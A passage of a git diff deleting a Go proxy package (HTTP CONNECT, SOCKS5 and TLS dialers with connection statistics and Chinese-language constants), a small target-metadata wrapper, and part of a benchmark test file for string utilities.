-func (h *httpDialer) Dial(network, address string) (net.Conn, error) {
- return h.DialContext(context.Background(), network, address)
-}
-
-func (h *httpDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
- start := time.Now()
- atomic.AddInt64(&h.stats.TotalConnections, 1)
-
- // 连接到HTTP代理服务器
- proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address)
- if err != nil {
- atomic.AddInt64(&h.stats.FailedConnections, 1)
- h.stats.LastError = err.Error()
- return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err)
- }
-
- // 发送CONNECT请求
- if err := h.sendConnectRequest(proxyConn, address); err != nil {
- proxyConn.Close()
- atomic.AddInt64(&h.stats.FailedConnections, 1)
- h.stats.LastError = err.Error()
- return nil, err
- }
-
- duration := time.Since(start)
- h.stats.LastConnectTime = start
- atomic.AddInt64(&h.stats.ActiveConnections, 1)
- h.updateAverageConnectTime(duration)
-
- return &trackedConn{
- Conn: proxyConn,
- stats: h.stats,
- }, nil
-}
-
-// sendConnectRequest 发送HTTP CONNECT请求
-func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error {
- // 构建CONNECT请求
- req := fmt.Sprintf(HTTPConnectRequestFormat, address, address)
-
- // 添加认证头
- if h.config.Username != "" {
- auth := base64.StdEncoding.EncodeToString(
- []byte(h.config.Username + AuthSeparator + h.config.Password))
- req += fmt.Sprintf(HTTPAuthHeaderFormat, auth)
- }
-
- req += HTTPRequestEndFormat
-
- // 设置写超时
- if err := conn.SetWriteDeadline(time.Now().Add(h.config.Timeout)); err != nil {
- return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetWriteTimeout, ErrCodeHTTPSetWriteTimeout, err)
- }
-
- // 发送请求
- if _, err := conn.Write([]byte(req)); err != nil {
- return NewProxyError(ErrTypeConnection, ErrMsgHTTPSendConnectFail, ErrCodeHTTPSendConnectFail, err)
- }
-
- // 设置读超时
- if err := conn.SetReadDeadline(time.Now().Add(h.config.Timeout)); err != nil {
- return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetReadTimeout, ErrCodeHTTPSetReadTimeout, err)
- }
-
- // 读取响应
- resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
- if err != nil {
- return NewProxyError(ErrTypeProtocol, ErrMsgHTTPReadRespFailed, ErrCodeHTTPReadRespFailed, err)
- }
- defer resp.Body.Close()
-
- // 检查响应状态
- if resp.StatusCode != HTTPStatusOK {
- return NewProxyError(ErrTypeAuth,
- fmt.Sprintf(ErrMsgHTTPProxyAuthFailed, resp.StatusCode), ErrCodeHTTPProxyAuthFailed, nil)
- }
-
- // 清除deadline
- conn.SetDeadline(time.Time{})
-
- return nil
-}
-
-// updateAverageConnectTime 更新平均连接时间
-func (h *httpDialer) updateAverageConnectTime(duration time.Duration) {
- // 简单的移动平均
- if h.stats.AverageConnectTime == 0 {
- h.stats.AverageConnectTime = duration
- } else {
- h.stats.AverageConnectTime = (h.stats.AverageConnectTime + duration) / 2
- }
-}
\ No newline at end of file
diff --git a/Common/proxy/Manager.go b/Common/proxy/Manager.go
deleted file mode 100644
index d9f82a1..0000000
--- a/Common/proxy/Manager.go
+++ /dev/null
@@ -1,337 +0,0 @@
-package proxy
-
-import (
- "context"
- "fmt"
- "net"
- "net/url"
- "sync"
- "sync/atomic"
- "time"
-
- "golang.org/x/net/proxy"
-)
-
-// manager 代理管理器实现
-type manager struct {
- config *ProxyConfig
- stats *ProxyStats
- mu sync.RWMutex
-
- // 连接池
- dialerCache map[string]Dialer
- cacheExpiry time.Time
- cacheMu sync.RWMutex
-}
-
-// NewProxyManager 创建新的代理管理器
-func NewProxyManager(config *ProxyConfig) ProxyManager {
- if config == nil {
- config = DefaultProxyConfig()
- }
-
- return &manager{
- config: config,
- stats: &ProxyStats{
- ProxyType: config.Type.String(),
- ProxyAddress: config.Address,
- },
- dialerCache: make(map[string]Dialer),
- cacheExpiry: time.Now().Add(DefaultCacheExpiry),
- }
-}
-
-// GetDialer 获取普通拨号器
-func (m *manager) GetDialer() (Dialer, error) {
- m.mu.RLock()
- config := m.config
- m.mu.RUnlock()
-
- switch config.Type {
- case ProxyTypeNone:
- return m.createDirectDialer(), nil
- case ProxyTypeSOCKS5:
- return m.createSOCKS5Dialer()
- case ProxyTypeHTTP, ProxyTypeHTTPS:
- return m.createHTTPDialer()
- default:
- return nil, NewProxyError(ErrTypeConfig, ErrMsgUnsupportedProxyType, ErrCodeUnsupportedProxyType, nil)
- }
-}
-
-// GetTLSDialer 获取TLS拨号器
-func (m *manager) GetTLSDialer() (TLSDialer, error) {
- dialer, err := m.GetDialer()
- if err != nil {
- return nil, err
- }
-
- return &tlsDialerWrapper{
- dialer: dialer,
- config: m.config,
- stats: m.stats,
- }, nil
-}
-
-// UpdateConfig 更新配置
-func (m *manager) UpdateConfig(config *ProxyConfig) error {
- if config == nil {
- return NewProxyError(ErrTypeConfig, ErrMsgEmptyConfig, ErrCodeEmptyConfig, nil)
- }
-
- m.mu.Lock()
- defer m.mu.Unlock()
-
- m.config = config
- m.stats.ProxyType = config.Type.String()
- m.stats.ProxyAddress = config.Address
-
- // 清理缓存
- m.cacheMu.Lock()
- m.dialerCache = make(map[string]Dialer)
- m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
- m.cacheMu.Unlock()
-
- return nil
-}
-
-// Close 关闭管理器
-func (m *manager) Close() error {
- m.cacheMu.Lock()
- defer m.cacheMu.Unlock()
-
- m.dialerCache = make(map[string]Dialer)
- return nil
-}
-
-// Stats 获取统计信息
-func (m *manager) Stats() *ProxyStats {
- m.mu.RLock()
- defer m.mu.RUnlock()
-
- // 返回副本以避免并发问题
- statsCopy := *m.stats
- return &statsCopy
-}
-
-// createDirectDialer 创建直连拨号器
-func (m *manager) createDirectDialer() Dialer {
- return &directDialer{
- timeout: m.config.Timeout,
- stats: m.stats,
- }
-}
-
-// createSOCKS5Dialer 创建SOCKS5拨号器
-func (m *manager) createSOCKS5Dialer() (Dialer, error) {
- // 检查缓存
- cacheKey := fmt.Sprintf(CacheKeySOCKS5, m.config.Address)
- m.cacheMu.RLock()
- if time.Now().Before(m.cacheExpiry) {
- if cached, exists := m.dialerCache[cacheKey]; exists {
- m.cacheMu.RUnlock()
- return cached, nil
- }
- }
- m.cacheMu.RUnlock()
-
- // 解析代理地址
- proxyURL := fmt.Sprintf(SOCKS5URLFormat, m.config.Address)
- if m.config.Username != "" {
- proxyURL = fmt.Sprintf(SOCKS5URLAuthFormat,
- m.config.Username, m.config.Password, m.config.Address)
- }
-
- u, err := url.Parse(proxyURL)
- if err != nil {
- return nil, NewProxyError(ErrTypeConfig, ErrMsgSOCKS5ParseFailed, ErrCodeSOCKS5ParseFailed, err)
- }
-
- // 创建基础拨号器
- baseDial := &net.Dialer{
- Timeout: m.config.Timeout,
- KeepAlive: m.config.KeepAlive,
- }
-
- // 创建SOCKS5拨号器
- var auth *proxy.Auth
- if u.User != nil {
- auth = &proxy.Auth{
- User: u.User.Username(),
- }
- if password, hasPassword := u.User.Password(); hasPassword {
- auth.Password = password
- }
- }
-
- socksDialer, err := proxy.SOCKS5(NetworkTCP, u.Host, auth, baseDial)
- if err != nil {
- return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5CreateFailed, ErrCodeSOCKS5CreateFailed, err)
- }
-
- dialer := &socks5Dialer{
- dialer: socksDialer,
- config: m.config,
- stats: m.stats,
- }
-
- // 更新缓存
- m.cacheMu.Lock()
- m.dialerCache[cacheKey] = dialer
- m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
- m.cacheMu.Unlock()
-
- return dialer, nil
-}
-
-// createHTTPDialer 创建HTTP代理拨号器
-func (m *manager) createHTTPDialer() (Dialer, error) {
- // 检查缓存
- cacheKey := fmt.Sprintf(CacheKeyHTTP, m.config.Address)
- m.cacheMu.RLock()
- if time.Now().Before(m.cacheExpiry) {
- if cached, exists := m.dialerCache[cacheKey]; exists {
- m.cacheMu.RUnlock()
- return cached, nil
- }
- }
- m.cacheMu.RUnlock()
-
- dialer := &httpDialer{
- config: m.config,
- stats: m.stats,
- baseDial: &net.Dialer{
- Timeout: m.config.Timeout,
- KeepAlive: m.config.KeepAlive,
- },
- }
-
- // 更新缓存
- m.cacheMu.Lock()
- m.dialerCache[cacheKey] = dialer
- m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
- m.cacheMu.Unlock()
-
- return dialer, nil
-}
-
-// directDialer 直连拨号器
-type directDialer struct {
- timeout time.Duration
- stats *ProxyStats
-}
-
-func (d *directDialer) Dial(network, address string) (net.Conn, error) {
- return d.DialContext(context.Background(), network, address)
-}
-
-func (d *directDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
- start := time.Now()
- atomic.AddInt64(&d.stats.TotalConnections, 1)
-
- dialer := &net.Dialer{
- Timeout: d.timeout,
- }
-
- conn, err := dialer.DialContext(ctx, network, address)
-
- duration := time.Since(start)
- d.stats.LastConnectTime = start
-
- if err != nil {
- atomic.AddInt64(&d.stats.FailedConnections, 1)
- d.stats.LastError = err.Error()
- return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err)
- }
-
- atomic.AddInt64(&d.stats.ActiveConnections, 1)
- d.updateAverageConnectTime(duration)
-
- return &trackedConn{
- Conn: conn,
- stats: d.stats,
- }, nil
-}
-
-// socks5Dialer SOCKS5拨号器
-type socks5Dialer struct {
- dialer proxy.Dialer
- config *ProxyConfig
- stats *ProxyStats
-}
-
-func (s *socks5Dialer) Dial(network, address string) (net.Conn, error) {
- return s.DialContext(context.Background(), network, address)
-}
-
-func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
- start := time.Now()
- atomic.AddInt64(&s.stats.TotalConnections, 1)
-
- // 创建一个带超时的上下文
- dialCtx, cancel := context.WithTimeout(ctx, s.config.Timeout)
- defer cancel()
-
- // 使用goroutine处理拨号,以支持取消
- connChan := make(chan struct {
- conn net.Conn
- err error
- }, 1)
-
- go func() {
- conn, err := s.dialer.Dial(network, address)
- select {
- case <-dialCtx.Done():
- if conn != nil {
- conn.Close()
- }
- case connChan <- struct {
- conn net.Conn
- err error
- }{conn, err}:
- }
- }()
-
- select {
- case <-dialCtx.Done():
- atomic.AddInt64(&s.stats.FailedConnections, 1)
- s.stats.LastError = dialCtx.Err().Error()
- return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err())
- case result := <-connChan:
- duration := time.Since(start)
- s.stats.LastConnectTime = start
-
- if result.err != nil {
- atomic.AddInt64(&s.stats.FailedConnections, 1)
- s.stats.LastError = result.err.Error()
- return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err)
- }
-
- atomic.AddInt64(&s.stats.ActiveConnections, 1)
- s.updateAverageConnectTime(duration)
-
- return &trackedConn{
- Conn: result.conn,
- stats: s.stats,
- }, nil
- }
-}
-
-// updateAverageConnectTime 更新平均连接时间
-func (d *directDialer) updateAverageConnectTime(duration time.Duration) {
- // 简单的移动平均
- if d.stats.AverageConnectTime == 0 {
- d.stats.AverageConnectTime = duration
- } else {
- d.stats.AverageConnectTime = (d.stats.AverageConnectTime + duration) / 2
- }
-}
-
-func (s *socks5Dialer) updateAverageConnectTime(duration time.Duration) {
- // 简单的移动平均
- if s.stats.AverageConnectTime == 0 {
- s.stats.AverageConnectTime = duration
- } else {
- s.stats.AverageConnectTime = (s.stats.AverageConnectTime + duration) / 2
- }
-}
\ No newline at end of file
diff --git a/Common/proxy/TLSDialer.go b/Common/proxy/TLSDialer.go
deleted file mode 100644
index ae119bd..0000000
--- a/Common/proxy/TLSDialer.go
+++ /dev/null
@@ -1,157 +0,0 @@
-package proxy
-
-import (
- "context"
- "crypto/tls"
- "net"
- "sync/atomic"
- "time"
-)
-
-// tlsDialerWrapper TLS拨号器包装器
-type tlsDialerWrapper struct {
- dialer Dialer
- config *ProxyConfig
- stats *ProxyStats
-}
-
-func (t *tlsDialerWrapper) Dial(network, address string) (net.Conn, error) {
- return t.dialer.Dial(network, address)
-}
-
-func (t *tlsDialerWrapper) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
- return t.dialer.DialContext(ctx, network, address)
-}
-
-func (t *tlsDialerWrapper) DialTLS(network, address string, config *tls.Config) (net.Conn, error) {
- return t.DialTLSContext(context.Background(), network, address, config)
-}
-
-func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address string, tlsConfig *tls.Config) (net.Conn, error) {
- start := time.Now()
-
- // 首先建立TCP连接
- tcpConn, err := t.dialer.DialContext(ctx, network, address)
- if err != nil {
- return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSTCPConnFailed, ErrCodeTLSTCPConnFailed, err)
- }
-
- // 创建TLS连接
- tlsConn := tls.Client(tcpConn, tlsConfig)
-
- // 设置TLS握手超时
- if deadline, ok := ctx.Deadline(); ok {
- tlsConn.SetDeadline(deadline)
- } else {
- tlsConn.SetDeadline(time.Now().Add(t.config.Timeout))
- }
-
- // 进行TLS握手
- if err := tlsConn.Handshake(); err != nil {
- tcpConn.Close()
- atomic.AddInt64(&t.stats.FailedConnections, 1)
- t.stats.LastError = err.Error()
- return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err)
- }
-
- // 清除deadline,让上层代码管理超时
- tlsConn.SetDeadline(time.Time{})
-
- duration := time.Since(start)
- t.updateAverageConnectTime(duration)
-
- return &trackedTLSConn{
- trackedConn: &trackedConn{
- Conn: tlsConn,
- stats: t.stats,
- },
- isTLS: true,
- }, nil
-}
-
-// updateAverageConnectTime 更新平均连接时间
-func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) {
- // 简单的移动平均
- if t.stats.AverageConnectTime == 0 {
- t.stats.AverageConnectTime = duration
- } else {
- t.stats.AverageConnectTime = (t.stats.AverageConnectTime + duration) / 2
- }
-}
-
-// trackedConn 带统计的连接
-type trackedConn struct {
- net.Conn
- stats *ProxyStats
- bytesSent int64
- bytesRecv int64
-}
-
-func (tc *trackedConn) Read(b []byte) (n int, err error) {
- n, err = tc.Conn.Read(b)
- if n > 0 {
- atomic.AddInt64(&tc.bytesRecv, int64(n))
- }
- return n, err
-}
-
-func (tc *trackedConn) Write(b []byte) (n int, err error) {
- n, err = tc.Conn.Write(b)
- if n > 0 {
- atomic.AddInt64(&tc.bytesSent, int64(n))
- }
- return n, err
-}
-
-func (tc *trackedConn) Close() error {
- atomic.AddInt64(&tc.stats.ActiveConnections, -1)
- return tc.Conn.Close()
-}
-
-// trackedTLSConn 带统计的TLS连接
-type trackedTLSConn struct {
- *trackedConn
- isTLS bool
-}
-
-func (ttc *trackedTLSConn) ConnectionState() tls.ConnectionState {
- if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
- return tlsConn.ConnectionState()
- }
- return tls.ConnectionState{}
-}
-
-func (ttc *trackedTLSConn) Handshake() error {
- if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
- return tlsConn.Handshake()
- }
- return nil
-}
-
-func (ttc *trackedTLSConn) OCSPResponse() []byte {
- if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
- return tlsConn.OCSPResponse()
- }
- return nil
-}
-
-func (ttc *trackedTLSConn) PeerCertificates() []*tls.Certificate {
- if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
- state := tlsConn.ConnectionState()
- var certs []*tls.Certificate
- for _, cert := range state.PeerCertificates {
- certs = append(certs, &tls.Certificate{
- Certificate: [][]byte{cert.Raw},
- })
- }
- return certs
- }
- return nil
-}
-
-func (ttc *trackedTLSConn) VerifyHostname(host string) error {
- if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
- return tlsConn.VerifyHostname(host)
- }
- return nil
-}
\ No newline at end of file
diff --git a/Common/proxy/Types.go b/Common/proxy/Types.go
deleted file mode 100644
index 75f2c55..0000000
--- a/Common/proxy/Types.go
+++ /dev/null
@@ -1,134 +0,0 @@
-package proxy
-
-import (
- "context"
- "crypto/tls"
- "net"
- "time"
-)
-
-// ProxyType 代理类型
-type ProxyType int
-
-const (
- ProxyTypeNone ProxyType = iota
- ProxyTypeHTTP
- ProxyTypeHTTPS
- ProxyTypeSOCKS5
-)
-
-// String 返回代理类型的字符串表示
-func (pt ProxyType) String() string {
- switch pt {
- case ProxyTypeNone:
- return ProxyTypeStringNone
- case ProxyTypeHTTP:
- return ProxyTypeStringHTTP
- case ProxyTypeHTTPS:
- return ProxyTypeStringHTTPS
- case ProxyTypeSOCKS5:
- return ProxyTypeStringSOCKS5
- default:
- return ProxyTypeStringUnknown
- }
-}
-
-// ProxyConfig 代理配置
-type ProxyConfig struct {
- Type ProxyType `json:"type"`
- Address string `json:"address"`
- Username string `json:"username,omitempty"`
- Password string `json:"password,omitempty"`
- Timeout time.Duration `json:"timeout"`
- MaxRetries int `json:"max_retries"`
- KeepAlive time.Duration `json:"keep_alive"`
- IdleTimeout time.Duration `json:"idle_timeout"`
- MaxIdleConns int `json:"max_idle_conns"`
-}
-
-// DefaultProxyConfig 返回默认代理配置
-func DefaultProxyConfig() *ProxyConfig {
- return &ProxyConfig{
- Type: ProxyTypeNone,
- Timeout: DefaultProxyTimeout,
- MaxRetries: DefaultProxyMaxRetries,
- KeepAlive: DefaultProxyKeepAlive,
- IdleTimeout: DefaultProxyIdleTimeout,
- MaxIdleConns: DefaultProxyMaxIdleConns,
- }
-}
-
-// Dialer 拨号器接口
-type Dialer interface {
- Dial(network, address string) (net.Conn, error)
- DialContext(ctx context.Context, network, address string) (net.Conn, error)
-}
-
-// TLSDialer TLS拨号器接口
-type TLSDialer interface {
- Dialer
- DialTLS(network, address string, config *tls.Config) (net.Conn, error)
- DialTLSContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error)
-}
-
-// ProxyManager 代理管理器接口
-type ProxyManager interface {
- GetDialer() (Dialer, error)
- GetTLSDialer() (TLSDialer, error)
- UpdateConfig(config *ProxyConfig) error
- Close() error
- Stats() *ProxyStats
-}
-
-// ProxyStats 代理统计信息
-type ProxyStats struct {
- TotalConnections int64 `json:"total_connections"`
- ActiveConnections int64 `json:"active_connections"`
- FailedConnections int64 `json:"failed_connections"`
- AverageConnectTime time.Duration `json:"average_connect_time"`
- LastConnectTime time.Time `json:"last_connect_time"`
- LastError string `json:"last_error,omitempty"`
- ProxyType string `json:"proxy_type"`
- ProxyAddress string `json:"proxy_address"`
-}
-
-// ConnectionInfo 连接信息
-type ConnectionInfo struct {
- ID string `json:"id"`
- RemoteAddr string `json:"remote_addr"`
- LocalAddr string `json:"local_addr"`
- ProxyAddr string `json:"proxy_addr,omitempty"`
- ConnectTime time.Time `json:"connect_time"`
- Duration time.Duration `json:"duration"`
- BytesSent int64 `json:"bytes_sent"`
- BytesRecv int64 `json:"bytes_recv"`
- IsTLS bool `json:"is_tls"`
- Error string `json:"error,omitempty"`
-}
-
-// ProxyError 代理错误类型
-type ProxyError struct {
- Type string `json:"type"`
- Message string `json:"message"`
- Code int `json:"code"`
- Cause error `json:"cause,omitempty"`
-}
-
-func (e *ProxyError) Error() string {
- if e.Cause != nil {
- return e.Message + ": " + e.Cause.Error()
- }
- return e.Message
-}
-
-// NewProxyError 创建代理错误
-func NewProxyError(errType, message string, code int, cause error) *ProxyError {
- return &ProxyError{
- Type: errType,
- Message: message,
- Code: code,
- Cause: cause,
- }
-}
-
-// 预定义错误类型已迁移到constants.go
\ No newline at end of file
diff --git a/Common/proxy/constants.go b/Common/proxy/constants.go
deleted file mode 100644
index 6b60a9d..0000000
--- a/Common/proxy/constants.go
+++ /dev/null
@@ -1,179 +0,0 @@
-package proxy
-
-import (
- "time"
-)
-
-/*
-constants.go - 代理系统常量定义
-
-统一管理common/proxy包中的所有常量,便于查看和编辑。
-*/
-
-// =============================================================================
-// 代理类型常量 (从Types.go迁移)
-// =============================================================================
-
-const (
- // 代理类型字符串
- ProxyTypeStringNone = "none"
- ProxyTypeStringHTTP = "http"
- ProxyTypeStringHTTPS = "https"
- ProxyTypeStringSOCKS5 = "socks5"
- ProxyTypeStringUnknown = "unknown"
-)
-
-// =============================================================================
-// 默认配置常量 (从Types.go迁移)
-// =============================================================================
-
-const (
- // 默认代理配置值
- DefaultProxyTimeout = 30 * time.Second // 默认超时时间
- DefaultProxyMaxRetries = 3 // 默认最大重试次数
- DefaultProxyKeepAlive = 30 * time.Second // 默认保持连接时间
- DefaultProxyIdleTimeout = 90 * time.Second // 默认空闲超时时间
- DefaultProxyMaxIdleConns = 10 // 默认最大空闲连接数
-)
-
-// =============================================================================
-// 错误类型常量 (从Types.go迁移)
-// =============================================================================
-
-const (
- // 预定义错误类型
- ErrTypeConfig = "config_error"
- ErrTypeConnection = "connection_error"
- ErrTypeAuth = "auth_error"
- ErrTypeTimeout = "timeout_error"
- ErrTypeProtocol = "protocol_error"
-)
-
-// =============================================================================
-// 缓存管理常量 (从Manager.go迁移)
-// =============================================================================
-
-const (
- // 缓存配置
- DefaultCacheExpiry = 5 * time.Minute // 默认缓存过期时间
-)
-
-// =============================================================================
-// 错误代码常量 (从Manager.go和其他文件迁移)
-// =============================================================================
-
-const (
- // Manager错误代码
- ErrCodeUnsupportedProxyType = 1001
- ErrCodeEmptyConfig = 1002
-
- // SOCKS5错误代码
- ErrCodeSOCKS5ParseFailed = 2001
- ErrCodeSOCKS5CreateFailed = 2002
-
- // 直连错误代码
- ErrCodeDirectConnFailed = 3001
- ErrCodeSOCKS5ConnTimeout = 3002
- ErrCodeSOCKS5ConnFailed = 3003
-
- // HTTP代理错误代码
- ErrCodeHTTPConnFailed = 4001
- ErrCodeHTTPSetWriteTimeout = 4002
- ErrCodeHTTPSendConnectFail = 4003
- ErrCodeHTTPSetReadTimeout = 4004
- ErrCodeHTTPReadRespFailed = 4005
- ErrCodeHTTPProxyAuthFailed = 4006
-
- // TLS错误代码
- ErrCodeTLSTCPConnFailed = 5001
- ErrCodeTLSHandshakeFailed = 5002
-)
-
-// =============================================================================
-// HTTP协议常量 (从HTTPDialer.go迁移)
-// =============================================================================
-
-const (
- // HTTP响应状态码
- HTTPStatusOK = 200
-
- // HTTP协议常量
- HTTPVersion = "HTTP/1.1"
- HTTPMethodConnect = "CONNECT"
-
- // HTTP头部常量
- HTTPHeaderHost = "Host"
- HTTPHeaderProxyAuth = "Proxy-Authorization"
- HTTPHeaderAuthBasic = "Basic"
-)
-
-// =============================================================================
-// 网络协议常量 (从各文件迁移)
-// =============================================================================
-
-const (
- // 网络协议
- NetworkTCP = "tcp"
-
- // 代理协议前缀
- ProxyProtocolSOCKS5 = "socks5"
-
- // 认证分隔符
- AuthSeparator = ":"
-)
-
-// =============================================================================
-// 错误消息常量
-// =============================================================================
-
-const (
- // Manager错误消息
- ErrMsgUnsupportedProxyType = "不支持的代理类型"
- ErrMsgEmptyConfig = "配置不能为空"
-
- // SOCKS5错误消息
- ErrMsgSOCKS5ParseFailed = "SOCKS5代理地址解析失败"
- ErrMsgSOCKS5CreateFailed = "SOCKS5拨号器创建失败"
- ErrMsgSOCKS5ConnTimeout = "SOCKS5连接超时"
- ErrMsgSOCKS5ConnFailed = "SOCKS5连接失败"
-
- // 直连错误消息
- ErrMsgDirectConnFailed = "直连失败"
-
- // HTTP代理错误消息
- ErrMsgHTTPConnFailed = "连接HTTP代理服务器失败"
- ErrMsgHTTPSetWriteTimeout = "设置写超时失败"
- ErrMsgHTTPSendConnectFail = "发送CONNECT请求失败"
- ErrMsgHTTPSetReadTimeout = "设置读超时失败"
- ErrMsgHTTPReadRespFailed = "读取HTTP响应失败"
- ErrMsgHTTPProxyAuthFailed = "HTTP代理连接失败,状态码: %d"
-
- // TLS错误消息
- ErrMsgTLSTCPConnFailed = "建立TCP连接失败"
- ErrMsgTLSHandshakeFailed = "TLS握手失败"
-)
-
-// =============================================================================
-// 缓存键前缀常量 (从Manager.go迁移)
-// =============================================================================
-
-const (
- // 缓存键前缀
- CacheKeySOCKS5 = "socks5_%s"
- CacheKeyHTTP = "http_%s"
-)
-
-// =============================================================================
-// 格式化字符串常量 (从各文件迁移)
-// =============================================================================
-
-const (
- // SOCKS5 URL格式
- SOCKS5URLFormat = "socks5://%s"
- SOCKS5URLAuthFormat = "socks5://%s:%s@%s"
-
- // HTTP CONNECT请求格式
- HTTPConnectRequestFormat = "CONNECT %s HTTP/1.1\r\nHost: %s\r\n"
- HTTPAuthHeaderFormat = "Proxy-Authorization: Basic %s\r\n"
- HTTPRequestEndFormat = "\r\n"
-)
\ No newline at end of file
diff --git a/Common/target.go b/Common/target.go
deleted file mode 100644
index a3633f3..0000000
--- a/Common/target.go
+++ /dev/null
@@ -1,62 +0,0 @@
-package common
-
-import (
- "context"
-)
-
-// TargetInfo 包装HostInfo,提供更丰富的功能
-type TargetInfo struct {
- *HostInfo // 嵌入HostInfo,保持向后兼容
- context context.Context
- metadata map[string]interface{}
-}
-
-// NewTargetInfo 创建新的目标信息
-func NewTargetInfo(hostInfo HostInfo) *TargetInfo {
- return &TargetInfo{
- HostInfo: &hostInfo,
- context: context.Background(),
- metadata: make(map[string]interface{}),
- }
-}
-
-
-// WithContext 设置上下文
-func (t *TargetInfo) WithContext(ctx context.Context) *TargetInfo {
- t.context = ctx
- return t
-}
-
-
-// SetMetadata 设置元数据
-func (t *TargetInfo) SetMetadata(key string, value interface{}) *TargetInfo {
- if t.metadata == nil {
- t.metadata = make(map[string]interface{})
- }
- t.metadata[key] = value
- return t
-}
-
-// GetMetadata 获取元数据
-func (t *TargetInfo) GetMetadata(key string) (interface{}, bool) {
- if t.metadata == nil {
- return nil, false
- }
- value, exists := t.metadata[key]
- return value, exists
-}
-
-
-
-
-
-// String 返回字符串表示
-func (t *TargetInfo) String() string {
- return HostInfoString(t.HostInfo)
-}
-
-// HasMetadata 检查是否有指定的元数据
-func (t *TargetInfo) HasMetadata(key string) bool {
- _, exists := t.GetMetadata(key)
- return exists
-}
\ No newline at end of file
diff --git a/Common/utils/benchmark_test.go b/Common/utils/benchmark_test.go
deleted file mode 100644
index 9ad9fcd..0000000
--- a/Common/utils/benchmark_test.go
+++ /dev/null
@@ -1,315 +0,0 @@
-package utils
-
-import (
- "fmt"
- "runtime"
- "strings"
- "testing"
- "time"
-)
-
-// BenchmarkStringJoinOriginal 原始字符串连接方法
-func BenchmarkStringJoinOriginal(b *testing.B) {
- slice := make([]string, 100)
- for i := range slice {
- slice[i] = fmt.Sprintf("item-%d", i)
- }
-
- b.ResetTimer()
- for i := 0; i < b.N; i++ {
- var result string
- if len(slice) > 0 {
- result = slice[0]
- for j := 1; j < len(slice); j++ {
- result += "," + slice[j]
- }
- }
- _ = result
- }
-}
-
-// BenchmarkStringJoinOptimized 优化后的字符串连接方法
-func BenchmarkStringJoinOptimized(b *testing.B) {
- slice := make([]string, 100)
- for i := range slice {
- slice[i] = fmt.Sprintf("item-%d", i)
- }
-
- b.ResetTimer()
- for i := 0; i < b.N; i++ {
- result := JoinStrings(slice, ",")
- _ = result
- }
-}
-
-// BenchmarkIntJoinOriginal 原始整数连接方法
-func BenchmarkIntJoinOriginal(b *testing.B) {
- slice := make([]int, 100)
- for i := range slice {
- slice[i] = i * 10
- }
-
- b.ResetTimer()
- for i := 0; i < b.N; i++ {
- var result string
- if len(slice) > 0 {
- result = fmt.Sprintf("%d", slice[0])
- for j := 1; j < len(slice); j++ {
- result += "," + fmt.Sprintf("%d", slice[j])
- }
- }
- _ = result
- }
-}
-
-// BenchmarkIntJoinOptimized 优化后的整数连接方法
-func BenchmarkIntJoinOptimized(b *testing.B) {
- slice := make([]int, 100)
- for i := range slice {
- slice[i] = i * 10
- }
-
- b.ResetTimer()
- for i := 0; i < b.N; i++ {
- result := JoinInts(slice, ",")
- _ = result
- }
-}
-
-// BenchmarkDeduplicateOriginal 原始去重方法
-func BenchmarkDeduplicateOriginal(b *testing.B) {
- slice := make([]string, 1000)
- for i := range slice {
- slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
- }
-
- b.ResetTimer()
- for i := 0; i < b.N; i++ {
- temp := make(map[string]struct{})
- var result []string
-
- for _, item := range slice {
- if _, exists := temp[item]; !exists {
- temp[item] = struct{}{}
- result = append(result, item)
- }
- }
- _ = result
- }
-}
-
-// BenchmarkDeduplicateOptimized 优化后的去重方法
-func BenchmarkDeduplicateOptimized(b *testing.B) {
- slice := make([]string, 1000)
- for i := range slice {
- slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
- }
-
- b.ResetTimer()
- for i := 0; i < b.N; i++ {
- result := DeduplicateStrings(slice)
- _ = result
- }
-}
-
-// BenchmarkSliceAllocationOriginal 原始切片分配方法
-func BenchmarkSliceAllocationOriginal(b *testing.B) {
- b.ResetTimer()
- for i := 0; i < b.N; i++ {
- var result []string
- for j := 0; j < 50; j++ {
- result = append(result, fmt.Sprintf("item-%d", j))
- }
- _ = result
- }
-}
-
-// BenchmarkSliceAllocationOptimized 优化后的切片分配方法
-func BenchmarkSliceAllocationOptimized(b *testing.B) {
- b.ResetTimer()
- for i := 0; i < b.N; i++ {
- result := make([]string, 0, 50)
- for j := 0; j < 50; j++ {
- result = append(result, fmt.Sprintf("item-%d", j))
- }
- _ = result
- }
-}
-
-// TestMemoryUsage 内存使用情况对比测试
-func TestMemoryUsage(t *testing.T) {
- // 测试字符串连接的内存使用
- t.Run("StringJoin", func(t *testing.T) {
- slice := make([]string, 1000)
- for i := range slice {
- slice[i] = fmt.Sprintf("test-string-%d", i)
- }
-
- // 测试原始方法
- runtime.GC()
- var m1, m2 runtime.MemStats
